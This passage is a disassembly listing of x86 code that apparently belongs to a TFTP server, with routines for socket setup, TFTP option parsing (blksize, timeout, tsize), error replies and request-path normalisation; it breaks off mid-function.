push ebp
mov ebp, esp
push ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010A4
inc dword_1006134
pop ecx
lea eax, [ebp+var_4]
push eax
call ds:dword_10010B8
mov eax, [ebp+arg_0]
pop ecx
dec eax
jz short loc_1001E68
dec eax
jz short loc_1001E35
dec eax
jz short loc_1001E1D
dec eax
dec eax
jz short loc_1001E68
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E1D: ; CODE XREF: sub_1001DEB+2Aj
push dword_1006040
call ds:dword_1001034
mov dword_1006124, 4
jmp short loc_1001E4B
; ---------------------------------------------------------------------------
loc_1001E35: ; CODE XREF: sub_1001DEB+27j
push dword_1006040
call ds:dword_1001074
mov dword_1006124, 7
loc_1001E4B: ; CODE XREF: sub_1001DEB+30j
; sub_1001DEB+48j
push offset dword_1006120
push dword_1006044
call ds:dword_1001014
test eax, eax
jnz short locret_1001E6F
call ds:dword_1001038
jmp short locret_1001E6F
; ---------------------------------------------------------------------------
loc_1001E68: ; CODE XREF: sub_1001DEB+24j
; sub_1001DEB+2Ej
push 0
call sub_1001E73
locret_1001E6F: ; CODE XREF: sub_1001DEB+73j
; sub_1001DEB+7Bj
leave
retn 4
sub_1001DEB endp
; =============== S U B R O U T I N E =======================================
sub_1001E73 proc near ; CODE XREF: sub_1001665+B9p
; sub_1001DEB+7Fp
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, ds:dword_1001014
push edi
mov edi, offset dword_1006120
push edi
mov dword_1006124, 3
push dword_1006044
call esi ; dword_1001014
mov ebp, ds:dword_1001038
xor ebx, ebx
cmp eax, ebx
jnz short loc_1001EA3
call ebp ; dword_1001038
loc_1001EA3: ; CODE XREF: sub_1001E73+2Cj
push dword_1005DDC
call ds:dword_1001030
mov dword_1006124, 1
mov dword_1006134, ebx
mov eax, [esp+10h+arg_0]
mov dword_1006138, ebx
cmp eax, ebx
jnz short loc_1001EDB
mov dword_100612C, ebx
mov dword_1006130, ebx
jmp short loc_1001EFD
; ---------------------------------------------------------------------------
loc_1001EDB: ; CODE XREF: sub_1001E73+58j
cmp eax, 834h
jb short loc_1001EF3
cmp eax, 16A7h
mov dword_100612C, 42Ah
jbe short loc_1001EF8
loc_1001EF3: ; CODE XREF: sub_1001E73+6Dj
mov dword_100612C, eax
loc_1001EF8: ; CODE XREF: sub_1001E73+7Ej
mov dword_1006130, eax
loc_1001EFD: ; CODE XREF: sub_1001E73+66j
push edi
push dword_1006044
call esi ; dword_1001014
cmp eax, ebx
jnz short loc_1001F0C
call ebp ; dword_1001038
loc_1001F0C: ; CODE XREF: sub_1001E73+95j
mov eax, dword_1005DE0
mov esi, ds:dword_1001054
cmp eax, ebx
jz short loc_1001F24
push eax
call esi ; dword_1001054
mov dword_1005DE0, ebx
loc_1001F24: ; CODE XREF: sub_1001E73+A6j
mov eax, dword_1005DDC
cmp eax, ebx
jz short loc_1001F36
push eax
call esi ; dword_1001054
mov dword_1005DDC, ebx
loc_1001F36: ; CODE XREF: sub_1001E73+B8j
mov eax, dword_1005DD0
cmp eax, ebx
jz short loc_1001F4D
push eax
call ds:dword_100109C
pop ecx
mov dword_1005DD0, ebx
loc_1001F4D: ; CODE XREF: sub_1001E73+CAj
pop edi
pop esi
pop ebp
pop ebx
retn 4
sub_1001E73 endp
; =============== S U B R O U T I N E =======================================
sub_1001F54 proc near ; CODE XREF: sub_1002182+1Cp
; sub_1002219+B7p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0FFFFFFFFh
push dword ptr [esi+10h]
call ds:dword_1001168
push dword ptr [esi+8]
call ds:dword_100111C
push dword ptr [esi+14h]
call ds:dword_1001118
mov eax, [esi]
mov ecx, [esi+4]
cmp eax, ecx
jnz short loc_1001F90
mov eax, dword_1006038
mov ecx, [eax]
mov eax, [eax+4]
mov [eax], ecx
mov [ecx+4], eax
jmp short loc_1001F9A
; ---------------------------------------------------------------------------
loc_1001F90: ; CODE XREF: sub_1001F54+29j
mov [ecx], eax
mov eax, [esi]
mov ecx, [esi+4]
mov [eax+4], ecx
loc_1001F9A: ; CODE XREF: sub_1001F54+3Aj
push esi
call ds:dword_10010A0
pop ecx
pop esi
retn 4
sub_1001F54 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1001FA6 proc near ; CODE XREF: sub_10018DB+3Dp
; sub_1002219+1Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
xor edi, edi
lea eax, [ebp+var_4]
push edi
push eax
push edi
mov [ebp+var_4], edi
mov [ebp+var_8], 0C0000017h
mov [ebx], edi
call sub_1003A4A
cmp eax, edi
jz short loc_1001FD3
cmp eax, 7Ah
jnz short loc_100201A
loc_1001FD3: ; CODE XREF: sub_1001FA6+26j
push [ebp+var_4]
call ds:dword_1001094
mov esi, eax
pop ecx
cmp esi, edi
jz short loc_100201A
loc_1001FE3: ; CODE XREF: sub_1001FA6+63j
lea eax, [ebp+var_4]
push edi
push eax
push esi
call sub_1003A4A
cmp eax, edi
jz short loc_1002015
cmp eax, 7Ah
jnz short loc_100201A
push [ebp+var_4]
push esi
call ds:dword_1001098
pop ecx
cmp eax, edi
pop ecx
jz short loc_100200B
mov esi, eax
jmp short loc_1001FE3
; ---------------------------------------------------------------------------
loc_100200B: ; CODE XREF: sub_1001FA6+5Fj
push esi
call ds:dword_10010A0
pop ecx
jmp short loc_100201A
; ---------------------------------------------------------------------------
loc_1002015: ; CODE XREF: sub_1001FA6+4Aj
mov [ebp+var_8], edi
mov [ebx], esi
loc_100201A: ; CODE XREF: sub_1001FA6+2Bj
; sub_1001FA6+3Bj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 4
sub_1001FA6 endp
; =============== S U B R O U T I N E =======================================
sub_1002024 proc near ; CODE XREF: sub_100205A+B7p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_0]
call ds:dword_1001120
test eax, eax
jz short locret_1002057
push edi
mov edi, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
push esi
mov eax, ecx
mov esi, edi
mov edi, [esp+8+arg_4]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
pop edi
locret_1002057: ; CODE XREF: sub_1002024+Cj
retn 8
sub_1002024 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100205A proc near ; CODE XREF: sub_10018DB+64p
; sub_1002219+65p ...
var_28 = byte ptr -28h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
xor esi, esi
push edi
mov [ebp+var_4], esi
loc_1002068: ; CODE XREF: sub_100205A+5Dj
push 1
push esi
push esi
push esi
push 2
push 2
call ds:dword_10010F4
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_100209D
xor eax, eax
lea edi, [ebp+var_14]
stosd
stosd
stosd
push offset aUdp ; "udp"
push offset aTftp ; "tftp"
stosd
call ds:dword_1001128
cmp eax, esi
jnz short loc_10020B9
jmp short loc_10020B1
; ---------------------------------------------------------------------------
loc_100209D: ; CODE XREF: sub_100205A+22j
call ds:dword_10010F8
push 2EEh
call ds:dword_100106C
inc [ebp+var_4]
loc_10020B1: ; CODE XREF: sub_100205A+41j
cmp [ebp+var_4], 0Ah
jge short loc_10020E6
jmp short loc_1002068
; ---------------------------------------------------------------------------
loc_10020B9: ; CODE XREF: sub_100205A+3Fj
mov [ebp+var_14], 2
mov ax, [eax+8]
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
lea eax, [ebp+var_14]
push 10h
push eax
push ebx
call ds:dword_1001124
test eax, eax
jz short loc_10020E6
call ds:dword_1001038
jmp short loc_100215E
; ---------------------------------------------------------------------------
loc_10020E6: ; CODE XREF: sub_100205A+5Bj
; sub_100205A+82j
cmp ebx, 0FFFFFFFFh
jz short loc_100215E
push 20h
call ds:dword_1001094
mov esi, eax
pop ecx
test esi, esi
jz short loc_100213D
push 8
xor eax, eax
pop ecx
mov edi, esi
rep stosd
mov eax, [ebp+arg_0]
lea ecx, [ebp+var_28]
push ecx
push eax
mov [esi+8], ebx
mov [esi+0Ch], eax
call sub_1002024
xor eax, eax
push eax
push eax
push eax
push eax
call ds:dword_1001040
mov edi, eax
test edi, edi
jz short loc_1002140
push 1
push edi
push ebx
mov [esi+14h], edi
call sub_100188E
test eax, eax
mov [esi+10h], eax
jnz short loc_1002162
jmp short loc_1002140
; ---------------------------------------------------------------------------
loc_100213D: ; CODE XREF: sub_100205A+9Ej
mov edi, [ebp+arg_0]
loc_1002140: ; CODE XREF: sub_100205A+CCj
; sub_100205A+E1j
push ebx
call ds:dword_100111C
test edi, edi
jz short loc_1002152
push edi
call ds:dword_1001054
loc_1002152: ; CODE XREF: sub_100205A+EFj
test esi, esi
jz short loc_100215E
push esi
call ds:dword_10010A0
pop ecx
loc_100215E: ; CODE XREF: sub_100205A+8Aj
; sub_100205A+8Fj ...
xor eax, eax
jmp short loc_100217B
; ---------------------------------------------------------------------------
loc_1002162: ; CODE XREF: sub_100205A+DFj
mov eax, dword_1006038
mov dword ptr [esi+4], offset dword_1006038
mov [esi], eax
mov [eax+4], esi
mov dword_1006038, esi
mov eax, esi
loc_100217B: ; CODE XREF: sub_100205A+106j
pop edi
pop esi
pop ebx
leave
retn 4
sub_100205A endp
; =============== S U B R O U T I N E =======================================
sub_1002182 proc near ; CODE XREF: sub_1002219:loc_1002298p
mov ecx, dword_1006038
push esi
mov esi, offset dword_1006038
xor eax, eax
cmp ecx, esi
jz short loc_10021B3
push edi
loc_1002195: ; CODE XREF: sub_1002182+2Ej
cmp dword ptr [ecx+18h], 0
mov edi, [ecx]
jnz short loc_10021A8
push ecx
call sub_1001F54
push 1
pop eax
jmp short loc_10021AC
; ---------------------------------------------------------------------------
loc_10021A8: ; CODE XREF: sub_1002182+19j
and dword ptr [ecx+18h], 0
loc_10021AC: ; CODE XREF: sub_1002182+24j
cmp edi, esi
mov ecx, edi
jnz short loc_1002195
pop edi
loc_10021B3: ; CODE XREF: sub_1002182+10j
pop esi
retn
sub_1002182 endp
; =============== S U B R O U T I N E =======================================
sub_10021B5 proc near ; CODE XREF: sub_1002219+43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021C7: ; CODE XREF: sub_10021B5+21j
cmp eax, ecx
jz short loc_10021DF
mov esi, [eax+0Ch]
cmp esi, [esp+4+arg_0]
jz short loc_10021D8
mov eax, [eax]
jmp short loc_10021C7
; ---------------------------------------------------------------------------
loc_10021D8: ; CODE XREF: sub_10021B5+1Dj
push 1
mov [edx], eax
pop eax
jmp short loc_10021E1
; ---------------------------------------------------------------------------
loc_10021DF: ; CODE XREF: sub_10021B5+14j
xor eax, eax
loc_10021E1: ; CODE XREF: sub_10021B5+28j
pop esi
retn 8
sub_10021B5 endp
; =============== S U B R O U T I N E =======================================
sub_10021E5 proc near ; CODE XREF: .text:01001DB0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
push esi
mov ecx, offset dword_1006038
and dword ptr [edx], 0
mov eax, dword_1006038
loc_10021F7: ; CODE XREF: sub_10021E5+21j
cmp eax, ecx
jz short loc_100220A
mov esi, [eax+8]
cmp esi, [esp+4+arg_0]
jz short loc_1002208
mov eax, [eax]
jmp short loc_10021F7
; ---------------------------------------------------------------------------
loc_1002208: ; CODE XREF: sub_10021E5+1Dj
mov [edx], eax
loc_100220A: ; CODE XREF: sub_10021E5+14j
mov eax, [edx]
pop esi
neg eax
sbb eax, eax
and al, 0A9h
add eax, 57h
retn 8
sub_10021E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_1002219 proc near ; DATA XREF: sub_10018DB+CBo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
xor esi, esi
push offset dword_1006020
mov [ebp+var_C], esi
call ds:dword_1001058
lea eax, [ebp+var_4]
push eax
call sub_1001FA6
test eax, eax
jnz short loc_10022A9
mov eax, [ebp+var_4]
xor ebx, ebx
cmp [eax], esi
jbe short loc_1002298
loc_1002248: ; CODE XREF: sub_1002219+7Dj
mov eax, [eax+esi+4]
test eax, eax
jz short loc_100228D
cmp eax, 100007Fh
jz short loc_100228D
lea ecx, [ebp+var_8]
push ecx
push eax
call sub_10021B5
test eax, eax
jz short loc_1002271
mov eax, [ebp+var_8]
mov dword ptr [eax+18h], 1
jmp short loc_100228D
; ---------------------------------------------------------------------------
loc_1002271: ; CODE XREF: sub_1002219+4Aj
mov eax, [ebp+var_4]
push 1
pop edi
push dword ptr [eax+esi+4]
mov [ebp+var_C], edi
call sub_100205A
test eax, eax
mov [ebp+var_8], eax
jz short loc_100228D
mov [eax+18h], edi
loc_100228D: ; CODE XREF: sub_1002219+35j
; sub_1002219+3Cj ...
mov eax, [ebp+var_4]
inc ebx
add esi, 18h
cmp ebx, [eax]
jb short loc_1002248
loc_1002298: ; CODE XREF: sub_1002219+2Dj
call sub_1002182
push [ebp+var_4]
mov esi, eax
call ds:dword_10010A0
pop ecx
loc_10022A9: ; CODE XREF: sub_1002219+24j
cmp [ebp+var_C], 0
jnz short loc_10022E9
test esi, esi
jnz short loc_10022E9
mov eax, dword_1006038
mov edi, offset dword_1006038
cmp eax, edi
jz short loc_10022E9
loc_10022C1: ; CODE XREF: sub_1002219+CEj
mov [ebp+var_8], eax
mov ebx, [eax]
test byte ptr [eax+1Ch], 1
jnz short loc_10022E3
mov esi, [eax+0Ch]
push eax
call sub_1001F54
push esi
call sub_100205A
test eax, eax
jz short loc_10022E3
or dword ptr [eax+1Ch], 1
loc_10022E3: ; CODE XREF: sub_1002219+B1j
; sub_1002219+C4j
cmp ebx, edi
mov eax, ebx
jnz short loc_10022C1
loc_10022E9: ; CODE XREF: sub_1002219+94j
; sub_1002219+98j ...
push offset dword_1006100
push offset dword_1005E00
call sub_1003A44
push offset dword_1006020
call ds:dword_100104C
pop edi
pop esi
pop ebx
leave
retn 8
sub_1002219 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100230A proc near ; CODE XREF: sub_1001A91+242p
; sub_10023D8+23Cp ...
var_FFBC = word ptr -0FFBCh
var_FFBA = word ptr -0FFBAh
var_FFB8 = byte ptr -0FFB8h
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, 0FFBCh
call sub_1003A3E
push ebx
push esi
mov esi, ds:dword_1001104
push edi
push 5
call esi ; dword_1001104
mov edi, [ebp+arg_C]
mov [ebp+var_FFBC], ax
push edi
call esi ; dword_1001104
cmp [ebp+arg_10], 0
mov [ebp+var_FFBA], ax
jz short loc_1002369
mov edi, [ebp+arg_10]
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_FFB8]
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, [ebp+arg_10]
jmp short loc_10023A2
; ---------------------------------------------------------------------------
loc_1002369: ; CODE XREF: sub_100230A+32j
cmp di, 9
jb short loc_1002371
xor edi, edi
loc_1002371: ; CODE XREF: sub_100230A+63j
movzx eax, di
or ecx, 0FFFFFFFFh
lea ebx, [ebp+var_FFB8]
mov edx, off_1005CC0[eax*4]
xor eax, eax
mov edi, edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, edx
loc_10023A2: ; CODE XREF: sub_100230A+5Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
push 10h
push [ebp+arg_0]
not ecx
dec ecx
push eax
add ecx, 5
lea eax, [ebp+var_FFBC]
push ecx
push eax
push [ebp+arg_8]
call ds:dword_1001130
cmp eax, 0FFFFFFFFh
jnz short loc_10023D1
call ds:dword_10010F8
loc_10023D1: ; CODE XREF: sub_100230A+BFj
pop edi
pop esi
pop ebx
leave
retn 14h
sub_100230A endp
; =============== S U B R O U T I N E =======================================
sub_10023D8 proc near ; CODE XREF: sub_1002F31+302p
; sub_100333A+26Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
arg_14 = dword ptr 18h
mov eax, [esp+arg_0]
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_10]
mov dword ptr [eax+20h], 200h
mov dword ptr [eax+28h], 0Ah
mov eax, [esp+0Ch+arg_14]
push edi
mov ecx, 3FEFh
and dword ptr [eax], 0
xor eax, eax
mov edi, esi
push 6
rep stosd
call ds:dword_1001104
mov [esi], ax
lea ebx, [esi+2]
mov ebp, [esp+10h+arg_4]
cmp byte ptr [ebp+0], 0
jz loc_10025E4
loc_1002420: ; CODE XREF: sub_10023D8+202j
mov esi, ds:dword_100115C
push offset aBlksize ; "blksize"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_1002498
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
push 8
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop esi
add ebp, esi
add ebx, esi
push ebp
call ds:dword_1001160
pop ecx
cmp eax, esi
mov ecx, [esp+10h+arg_0]
mov [ecx+20h], eax
jb loc_10025FD
cmp eax, 0FFB8h
ja loc_10025FD
cmp eax, 5B0h
jnz short loc_100248F
mov dword ptr [ecx+20h], 200h
sub ebx, esi
jmp loc_10025C6
; ---------------------------------------------------------------------------
loc_100248F: ; CODE XREF: sub_10023D8+A7j
push 0Ah
push ebx
push eax
jmp loc_1002597
; ---------------------------------------------------------------------------
loc_1002498: ; CODE XREF: sub_10023D8+5Aj
push offset aTimeout_0 ; "timeout"
push ebp
call esi ; dword_100115C
pop ecx
test eax, eax
pop ecx
jnz short loc_100251A
mov edi, ebp
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
add ebp, 8
mov eax, ecx
mov esi, edi
mov edi, ebx
push ebp
shr ecx, 2
rep movsd
mov ecx, eax
add ebx, 8
and ecx, 3
rep movsb
call ds:dword_1001160
pop ecx
mov ecx, [esp+10h+arg_0]
push 1
pop edx
cmp eax, edx
mov [ecx+28h], eax
jl loc_1002602
cmp eax, 0FFh
jg loc_1002602
mov eax, [esp+10h+arg_14]
mov edi, ebp
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov edi, ebp
jmp loc_10025A2
; ---------------------------------------------------------------------------
loc_100251A: ; CODE XREF: sub_10023D8+CCj
push offset aTsize ; "tsize"
push ebp
call esi ; dword_100115C
pop ecx
mov edi, ebp
test eax, eax
pop ecx
jnz loc_10025B2
or edx, 0FFFFFFFFh
xor eax, eax
mov ecx, edx
add ebp, 6
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
add ebx, 6
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
cmp [esp+10h+arg_8], 2
rep movsb
jnz short loc_100258D
mov edi, ebp
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebp
mov ecx, edx
repne scasb
not ecx
dec ecx
mov edi, ebp
lea ebx, [ebx+ecx+1]
mov ecx, edx
jmp short loc_10025CB
; ---------------------------------------------------------------------------
loc_100258D: ; CODE XREF: sub_10023D8+180j
mov eax, [esp+10h+arg_0]
push 0Ah
push ebx
push dword ptr [eax+24h]
loc_1002597: ; CODE XREF: sub_10023D8+BBj
call ds:dword_1001164
add esp, 0Ch
mov edi, ebx
loc_10025A2: ; CODE XREF: sub_10023D8+13Dj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
lea ebx, [ebx+ecx+1]
jmp short loc_10025C6
; ---------------------------------------------------------------------------
loc_10025B2: ; CODE XREF: sub_10023D8+150j
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jz short loc_10025E0
loc_10025C6: ; CODE XREF: sub_10023D8+B2j
; sub_10023D8+1D8j
mov edi, ebp
or ecx, 0FFFFFFFFh
loc_10025CB: ; CODE XREF: sub_10023D8+1B3j
xor eax, eax
repne scasb
not ecx
dec ecx
cmp [ebp+ecx+1], al
lea ebp, [ebp+ecx+1]
jnz loc_1002420
loc_10025E0: ; CODE XREF: sub_10023D8+1ECj
mov esi, [esp+10h+arg_10]
loc_10025E4: ; CODE XREF: sub_10023D8+42j
mov eax, [esp+10h+arg_C]
sub ebx, esi
cmp ebx, 2
mov [eax], ebx
jnz short loc_10025F4
and dword ptr [eax], 0
loc_10025F4: ; CODE XREF: sub_10023D8+217j
xor eax, eax
loc_10025F6: ; CODE XREF: sub_10023D8+244j
pop edi
pop esi
pop ebp
pop ebx
retn 18h
; ---------------------------------------------------------------------------
loc_10025FD: ; CODE XREF: sub_10023D8+91j
; sub_10023D8+9Cj
push 0
push esi
jmp short loc_1002606
; ---------------------------------------------------------------------------
loc_1002602: ; CODE XREF: sub_10023D8+105j
; sub_10023D8+110j
push 0
push 8
loc_1002606: ; CODE XREF: sub_10023D8+228j
push dword ptr [ecx+8]
lea eax, [ecx+0FFF1h]
add ecx, 0Ch
push eax
push ecx
call sub_100230A
or eax, 0FFFFFFFFh
jmp short loc_10025F6
sub_10023D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100261E proc near ; CODE XREF: sub_1002F31+130p
; sub_100333A+150p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov al, [ebx]
mov ecx, ebx
mov esi, ebx
mov [ebp+arg_0], ebx
loc_1002630: ; CODE XREF: sub_100261E+22j
test al, al
jz short loc_1002642
cmp al, 5Ch
jz short loc_100263C
cmp al, 2Fh
jnz short loc_1002642
loc_100263C: ; CODE XREF: sub_100261E+18j
mov al, [ecx+1]
inc ecx
jmp short loc_1002630
; ---------------------------------------------------------------------------
loc_1002642: ; CODE XREF: sub_100261E+14j
; sub_100261E+1Cj ...
mov al, [ecx]
test al, al
jz loc_10026E4
cmp al, 2Eh
jnz loc_100271C
mov dl, [ecx+1]
lea edi, [ecx+1]
cmp dl, 5Ch
jz loc_1002718
cmp dl, 2Fh
jz loc_1002718
cmp dl, al
jnz loc_1002703
mov dl, [ecx+2]
lea edi, [ecx+2]
cmp dl, 5Ch
jz short loc_1002684
cmp dl, 2Fh
jnz short loc_1002703
loc_1002684: ; CODE XREF: sub_100261E+5Fj
dec esi
mov ecx, edi
dec esi
cmp esi, ebx
jbe short loc_10026E0
loc_100268C: ; CODE XREF: sub_100261E+7Bj
mov al, [esi]
cmp al, 5Ch
jz short loc_100269B
cmp al, 2Fh
jz short loc_100269B
dec esi
cmp esi, ebx
jnb short loc_100268C
loc_100269B: ; CODE XREF: sub_100261E+72j
; sub_100261E+76j
inc esi
loc_100269C: ; CODE XREF: sub_100261E+8Ej
; sub_100261E+EEj ...
cmp esi, [ebp+arg_0]
jbe short loc_10026AE
cmp byte ptr [esi-1], 20h
lea eax, [esi-1]
jnz short loc_10026AE
mov esi, eax
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_10026AE: ; CODE XREF: sub_100261E+81j
; sub_100261E+8Aj
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026B8
cmp al, 2Fh
jnz short loc_1002642
loc_10026B8: ; CODE XREF: sub_100261E+94j
cmp esi, ebx
jz short loc_10026CB
mov al, [esi-1]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
mov byte ptr [esi], 5Ch
inc esi
loc_10026CB: ; CODE XREF: sub_100261E+9Cj
; sub_100261E+A3j ...
inc ecx
jz short loc_10026D8
mov al, [ecx]
cmp al, 5Ch
jz short loc_10026CB
cmp al, 2Fh
jz short loc_10026CB
loc_10026D8: ; CODE XREF: sub_100261E+AEj
mov [ebp+arg_0], esi
jmp loc_1002642
; ---------------------------------------------------------------------------
loc_10026E0: ; CODE XREF: sub_100261E+6Cj
xor eax, eax
jmp short loc_10026FC
; ---------------------------------------------------------------------------
loc_10026E4: ; CODE XREF: sub_100261E+28j
mov cl, [esi-1]
lea eax, [esi-1]
cmp cl, 5Ch
jz short loc_10026F4
cmp cl, 2Fh
jnz short loc_10026F6
loc_10026F4: ; CODE XREF: sub_100261E+CFj
mov esi, eax
loc_10026F6: ; CODE XREF: sub_100261E+D4j
and byte ptr [esi], 0
push 1
pop eax
loc_10026FC: ; CODE XREF: sub_100261E+C4j
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_1002703: ; CODE XREF: sub_100261E+50j
; sub_100261E+64j ...
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
test al, al
jz short loc_100269C
cmp al, 5Ch
jz short loc_100269C
cmp al, 2Fh
jnz short loc_1002703
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_1002718: ; CODE XREF: sub_100261E+3Fj
; sub_100261E+48j
mov ecx, edi
jmp short loc_100269C
; ---------------------------------------------------------------------------
loc_100271C: ; CODE XREF: sub_100261E+30j
; sub_100261E+11Dj
test al, al
jz loc_100269C
cmp al, 5Ch
jz loc_100269C
cmp al, 2Fh
jz loc_100269C
mov [esi], al
mov al, [ecx+1]
inc esi
inc ecx
jmp short loc_100271C
sub_100261E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_100273D proc near ; CODE XREF: sub_1002F31+18Cp
; sub_100333A+197p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov edx, [ebp+arg_0]
repne scasb
not ecx
dec ecx
mov edi, edx
mov ebx, ecx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
cmp byte ptr [ebx+esi-1], 5Ch
mov edi, ecx
setz al
xor ecx, ecx
cmp byte ptr [edx], 5Ch
setz cl
test eax, eax
jnz short loc_1002784
test ecx, ecx
jnz short loc_1002784
mov [ebp+arg_8], 1
jmp short loc_1002791
; ---------------------------------------------------------------------------
loc_1002784: ; CODE XREF: sub_100273D+38j
; sub_100273D+3Cj
and [ebp+arg_8], 0
test eax, eax
jz short loc_1002791
test ecx, ecx
jz short loc_1002791
dec ebx
loc_1002791: ; CODE XREF: sub_100273D+45j
; sub_100273D+4Dj ...
mov eax, [ebp+arg_8]
mov ecx, [ebp+arg_4]
add eax, edi
add eax, ebx
dec ecx
cmp eax, ecx
jbe short loc_10027A4
xor eax, eax
jmp short loc_10027DA
; ---------------------------------------------------------------------------
loc_10027A4: ; CODE XREF: sub_100273D+61j
mov eax, [ebp+arg_8]
inc edi
add eax, ebx
push edi
add eax, edx
push edx
push eax
call ds:dword_1001144
mov eax, [ebp+arg_0]
mov ecx, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd
mov ecx, edx
add esp, 0Ch
and ecx, 3
cmp [ebp+arg_8], 0
rep movsb
jz short loc_10027D7
mov byte ptr [ebx+eax], 5Ch
loc_10027D7: ; CODE XREF: sub_100273D+94j
push 1
pop eax
loc_10027DA: ; CODE XREF: sub_100273D+65j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_100273D endp
; =============== S U B R O U T I N E =======================================
sub_10027E1 proc near ; CODE XREF: sub_1002B5E+C7p
; sub_1002F31+36Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov ecx, [esi+10024h]
lea eax, [esi+10024h]
test ecx, ecx
jz short loc_1002817
and dword ptr [eax], 0
mov eax, [esp+8+arg_4]
and word ptr [esi+10014h], 0
mov [esi+10020h], ecx
mov eax, [eax+20h]
mov [esi+1001Ch], eax
jmp short loc_1002877
; ---------------------------------------------------------------------------
loc_1002817: ; CODE XREF: sub_10027E1+14j
mov edi, ds:dword_1001104
push 3
call edi ; dword_1001104
mov [esi+38h], ax
mov ax, [esi+10014h]
push eax
call edi ; dword_1001104
mov [esi+3Ah], ax
mov eax, [esp+8+arg_4]
push dword ptr [eax+20h]
lea eax, [esi+3Ch]
push eax
push dword ptr [esi+1002Ch]
call ds:dword_1001090
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [esi+1001Ch], eax
jnz short loc_100286E
mov esi, ds:dword_10010AC
call esi ; dword_10010AC
call esi ; dword_10010AC
push dword ptr [eax]
call ds:dword_100102C
xor eax, eax
jmp short loc_100287A
; ---------------------------------------------------------------------------
loc_100286E: ; CODE XREF: sub_10027E1+75j
add eax, 4
mov [esi+10020h], eax
